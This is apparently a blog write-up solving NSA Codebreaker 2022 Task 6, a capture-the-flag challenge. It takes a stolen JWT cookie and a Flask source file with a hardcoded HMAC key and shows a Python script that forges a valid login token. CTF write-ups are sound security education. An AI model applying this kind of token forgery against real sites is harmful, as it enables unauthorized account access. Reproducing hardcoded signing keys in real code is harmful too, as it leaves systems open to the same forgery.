Post

NSA Codebreaker 2022 Task 6

Description:

We’ve found the login page on the ransomware site, but we don’t know anyone’s username or password. Luckily, the file you recovered from the attacker’s computer looks like it could be helpful.

Generate a new token value which will allow you to access the ransomware site.

Solution:

The file from task 5 contained the details for a cookie that is used on the ransommethis.net website. This cookie, named tok is assumed to be used for authenticating the users for the website.

1
2
# Netscape HTTP Cookie File
jbjl<redacted>pcxooy.ransommethis.net	FALSE	/	TRUE	2145916800	tok	eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NTQ4Mzg3MDMsImV4cCI6MTY1NzQzMDcwMywic2VjIjoiV1JlQXNabkM4YXRFRUxkQVBwY0lzMHlIQ0x6cVBpMWEiLCJ1aWQiOjI2NTY3fQ.Qn5LtF2XCtKOPLkGzPfrLG7WTMFwvnNihI_yzIJDAYk 

The provided token is a JSON Web Token Containing two time stamps for creation and expiration as well as the uid and sec, which are used for authenticating the user.

Decoded JWT user token

The flask source code shows that the token is using a signing key which needs to be used when forging a token. Additionally, it shows that if the signature is valid, then SQLite3 is used to verify the uid and sec values match those in the database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def hmac_key():
	return "hionYjaULMZE4sZnrWj4nzkEjmDUAdsb"


def validate_token(token):
	try:	
		claims = jwt.decode(token, hmac_key(), algorithms=['HS256'])
	except:
		# Either invalid format, expired, or wrong key
		return False
	with userdb() as con:
		row = con.execute('SELECT secret FROM Accounts WHERE uid = ?', (claims['uid'],)).fetchone()
		if row is None:
			return False
		return row[0] == claims['sec']

def generate_token(userName):
	""" Generate a new login token for the given user, good for 30 days"""
	with userdb() as con:
		row = con.execute("SELECT uid, secret from Accounts WHERE userName = ?", (userName,)).fetchone()
		now = datetime.now()
		exp = now + timedelta(days=30)
		claims = {'iat': now,
		          'exp': exp,
				  'uid': row[0],
				  'sec': row[1]}
		return jwt.encode(claims, hmac_key(), algorithm='HS256')

Using all of the information gathered from JWT and the source code, I wrote a simple python script to generate a fresh token that has not yet expired.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import jwt
from datetime import datetime, timedelta

hmac = 'hionYjaULMZE4sZnrWj4nzkEjmDUAdsb'
now = datetime.now()
exp = now + timedelta(days=30)

claims = {
    'iat': int(now.timestamp()),
    'exp': int(exp.timestamp()),
    'uid': 26567,
    'sec': 'WReAsZnC8atEELdAPpcIs0yHCLzqPi1a'
}

tok = jwt.encode(claims, hmac, algorithm='HS256')

print(tok)

After generating the token and adding it to the current session, access is granted.

User homepage after login

This post is licensed under CC BY 4.0 by the author.